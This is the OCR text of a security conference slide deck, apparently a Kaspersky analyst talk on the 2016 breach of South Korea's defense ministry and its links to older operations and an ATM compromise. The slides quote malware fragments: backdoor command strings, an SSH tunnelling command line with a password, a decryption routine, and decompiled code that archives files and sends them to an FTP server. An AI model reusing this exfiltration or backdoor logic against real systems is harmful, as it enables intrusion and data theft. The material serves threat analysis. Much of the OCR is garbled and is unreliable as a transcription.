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WHO WE ARE

Seongsu Park
Incident responder @ SK Infosec

Malware researcher
Security developer

Senior security researcher @ GReAT
Malware research / Threat Intelligence
hacked beautiful lady

father of one sun

I’'m sorry he can’t -——-- -
join the SAS ®
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OUR STORY Q

South Korea South Korea E
: Previous Operation
Threat Landscape MND Breached ! .
i ¢
____________ * . t

Emerging Operation
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SOUTH KOREA THREAT LANDSCAPE

T

Attack using by,
local DLP
vulnerabilit

Watering-hole by
security solution
exploit

Operation ', ,
GhOstRat _

2016

MND
Breached

Security S/W Interpark
vendor code Breached
sign breached
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OVERVIEW OF KOREA MND BREACHED

e When?

= Published by Korea MND on Dec, 2016
= Attack was on-going from Aug, 2016

* Confirmed Victim?
= Lots of division of Korea rryﬁ% |
 Damage? —
= Not sure
= Some confidential data W'B"i'e
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In"c‘e\rnet — for AV
upd%lnte
]

)
Intranet — for AV
,m'anagement

2,500 hosts 700 hosts
) . Database
infected infected
C&C '
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TIMELINE OF ATTACK

OCT 2016

September 25

MND composed joint
investigation team and start
to probe on this incident

AUG 2016 SEP 2016
o e o °
August 4
Suspected initial E
intrusion i
September 23

MND recognized intrusion
to their military intranet

October 12

JIT confirmed threat actor
inflated military intranet
using by this server.

October 6

JIT found a server in the IDC(DIDC)
used two LAN card for internet
and intranet illegally.
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ARSENAL OF MND BREACHED

Full-featured backdoor

Type A, B, C and more

if [ arge = 2 )
{

["+++ TargetIP TargetPort commandType argl arg2 arg3‘rin");
["+++ \tSendFile calc.exe /tmp/calc.tmp\rin");

["+++ \tGetFile /tmp/calc.tmp c:\\temp\\calc.exe ‘rn"});

(

(

"+++  \tScan\ri\n"); PaCked Mimikatz
"+++ AtUpdateirin");

"+++ NtRun c:\\wwindows\\notepad.exe 1.txt system(administrator) “r\n");
b e o JAnmi - Custom Network Scanner
["+++ \tServerUpdate ‘\rin");

return @;

L6LNLY §
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ARSENAL OF MND BREACHED

day Sat Fri Thu wed TuE!Mun sun 'SunMDnTuEwEdThuFriS:at " JanFebMarAprMa :Iun:lu'l :
ugSepOcthovDec E‘:h“.ﬁ | c:\kings\msundate.exe -P 80 -pw rootbacchus - SSH Tunneling
R 8610:172.17. 11433 bacchus@198.50. 1 H Custom Tools
- Ll , \— L l’ l-" - WASEWE S -
from internal database to attacker’s server

if [ arge = 2 )
{

["+++ TargetIP TargetPort commandType argl arg2 arg3‘rin");
["+++ \tSendFile calc.exe /tmp/calc.tmp\rin");
["+++ \tGetFile /tmp/calc.tmp c:\\temp\\calc.exe ‘rn"});

("+++ \tScam\r\n"); Packed Mimikatz
["+++ \tUpdateirin");

"+++ NtRun c:\\wwindows\\notepad.exe 1.txt system(administrator) “r\n");
b e o JAnmi - Custom Network Scanner
["+++ \tServerUpdate ‘\rin");

return @;

LELNLY O
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ARSENAL OF MND BREACHED

v4 = 0x783219;

result = (v2, &v4, 4, 9);
if ( result == 4 )
{
ST (v5) = 0;
/ ((char *)&v5 + 1, 0, 25%u);
result = (vi, &v5, 259, 0);

if ( result == 4 && v5 == 0x93258 )

bex dump " JAScIl (aNSI/0EM

12 12 12 12 34 34 34 34 00 61 01 00 26 00 00 00| 177174444 &
30 30 30 30 34 44 44 43 35 35 41 33 41 6E 6F 6E| 60804DDCS55A3AnoNn o vt SO
79 6D 6F 75 73 3F 31 38 2E 30 2E 32| 2E 31 35 00|{ymous?108.0.2.15 i '
60 60 60 60 60 B0 66 60 6O 00 0O 60 66 60 6O 66 iedian

Encrypted computer/user name
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ARSENAL OF MND BREACHED

i = Ox783219;

12 12 12 12 34 34 34
30 30 30 30 34 44 44
79 6D 6F 75 73 3F 31
60 60 60 60 60 60 66

52 8..5hnxo BYHPPD_R

204034 wen_e02r4D

ter/user name

Type A Backdoor Type C Backdoor
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ATTRIBUTION OF MALWARE

* File naming

File name S/W vendor in SK Function of S/W
hncupdate.exe Hancom Word processor
fasoo.exe Fasoo DRM S/W
markany.exe Markany DRM S/W
v3log.exe Ahnlab Anti-virus

« Language of Resource

™ Number of PE resources by language

iZ PE resources
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CONNECTION WITH OLD OPERATION

String de-obfuscation of Type B backdoor

SACreateFileA
SACreateProcessA
SAExitProcess
S nehomegpa.dll

if 15t two
character
are SA

YES NO

ignore two
character ahead
and go to next

XORed with
passed string

Operation
NStar

e:\Work\BackUp\2011\ \BackDoor\BsDIl-up\Rel
g:\VM_Share\Bs\Release\BsDll.pdb
g:\VM_Share\mail_attack\Bs\Release\BsDlIl.pdb

Z:\ \Team_Project\[2012.6 ~]\HTTP Trojan
2.0\HttpDrOpper\Win32\Release\HttpSecurityProvider.pdb

Z:\ \Team_Project\[2012.6 ~]\HTTP Troy\HttpDrOp;
Z:\ \Team_Project\[2012.6 ~]\HTTP Troy\HttpDrOp
‘\
\\_ _______ Operation
1Mission
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CONNECTION WITH OLD OPERATION

Decryption routine of Type A/C backdoor

mov

xor
| xor
mov

|

|

|

|

|

|

|

| xor
| and
| mov
| and
| xor
| mov
| mov
| lea
| xor
| and
| shl
| shr
|

| lea
| xor
| shl
| xor
| mov
| and
| shl
| xor
| shl
| shr
|
|
|
|

inc
sub
mov
jne

xor bl

mov b

[0x403f76]

bl, byte [edi + esi]
bl, al

bl, cl

byte [esi], bl

1, al

bl, dl

di, al

di, cl

bl, dl

edx, dword [esp + arg_10h]
cl, bl

ebx, [edx*8] ;[b]
ebx, edx

ebx, 0x7f8

ebx, 0x14

edx, 8

| or edx, ebx

ebx, [eax + eax] ;[b]
ebx, eax

ebx, 4

ebx, eax

ebp, eax

ebx, oxffffffse

ebp, 7

ebx, ebp

ebx, 6x11

eax, 8

or eax, ebx

esi

dword [esp + arg_14h], 1
dword [esp + arg_16h], edx
0x403f70 ;[c]

Published by po
2 big enterprise breached,
used local S/W vulnerability

Operation
BlackMine

----- Published by Ahnlab
Operation target for
SK organization / company

- Jul 2014, Darkseoul
variant spread by W/H
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CONNECTION WITH OLD OPERATION

MND aa.

C&C Infrastructure Overlap

@ ---------- > @ Same malware structure

¢azapv® @ Same encryption method
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CONNECTION WITH EMERGING OPERATION

B D

N,
N\
\
\
N
\

2,500 card’

\

N ) /
. information leaked
i /

1 ==

Approximately > 60 ATM infected
Same model from one vendor

result = FtpPutFileA(v2, "c:\\windows\\temp\\~imsnb.tmp", &szNewRemoteFile, 2u, @) I= B;

else

result = @;

Retrieve specific file from hard-coded path

push offset aDFilejnl ; "D:\\FILEJNL"

lea eax, [ebp+var_208]

push offset asJez2dpe2dezd_j ; "%s\\jxe2d\\%d%e2dxe2d.jnl"

push eax ; char *

call sprintf

Archive files and send it pre-configured FTP server

yg = InternetOpenA(®, 1u, ©, 0, 0);

* &é Yga = InternetConnectA(ve, "115. ', 2021u, "Achi ", "Achi ', 1u, ©x800€
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CONNECTION WITH EMERGING OPERATION

Code Similarity IN 1Y L N — Same C&C Server

Same Keylogger (203.250.xxx.XXX)

(NHCKeySafe.exe)

MND
Breached

Operation
GhostRat
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LET’S PUT THEM TOGETHER

. Operation GhostRat .
Jul Jun
. . .. : : MND breached ATM infected
Operaﬂon ]_.M|sst|on o Operatlon BlackMine .
Operation Nstar‘ Mar Jul Aug Dec Feb Mar
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WHO IS THEM?

et Intention

Big enterprises Intellectual property

Inelliefig eleiisnse Military intelligence

GhOstRat

company)

MND National defense Political profit

Breached Military intelligence

ATM ATM machine Financial profit

Breached Ordinary people
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Kaspersky®

SECURITY

F
1 ANALYST
SUMMIT

THANK YOU

seongsu.park@kaspersky.com/ sbldhsb@gmail.com




